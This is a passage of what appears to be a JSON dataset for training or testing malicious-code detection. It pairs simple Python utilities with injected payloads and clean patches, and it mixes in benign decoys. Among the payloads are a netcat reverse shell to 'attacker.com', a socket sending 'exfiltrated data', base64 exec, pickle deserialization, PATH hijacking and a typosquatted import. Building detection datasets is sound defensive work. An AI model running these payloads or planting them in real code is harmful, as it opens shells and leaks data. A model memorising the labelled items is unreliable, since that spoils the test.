has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_f4d719ed", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f23b0978", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_04ed1b0c", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_44a35436", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_33a13f0c", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_d8e4e221", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_1cdce9bd", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1349ea3a", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f1c2e3db", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_93d3a7d5", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_7329eb39", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_494f6a4d", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_adf8ef73", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_354820fb", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_656e8c4f", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_a8912b80", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_bcd1a1ec", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_b545306e", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_d61dbee5", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_28de3545", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d2661083", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e768005e", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_856013c3", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_c1f0c059", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4163b5b9", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_9ebd7256", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b56d1686", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_619d2d88", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_18b9f153", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_81c25427", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c6394574", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_f3a944d5", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_18b8ce57", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_716c7007", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_e65f969a", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_a599fbae", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_876c423b", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_21c24924", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_f4600ea3", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_e1cce45c", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a98cd4e1", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_fed66856", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d91d4ba0", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_b0bc4b0c", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_2d44ad73", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_379bc85a", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6811c794", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_e3956c5d", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6d76aec7", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_1c35909e", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n 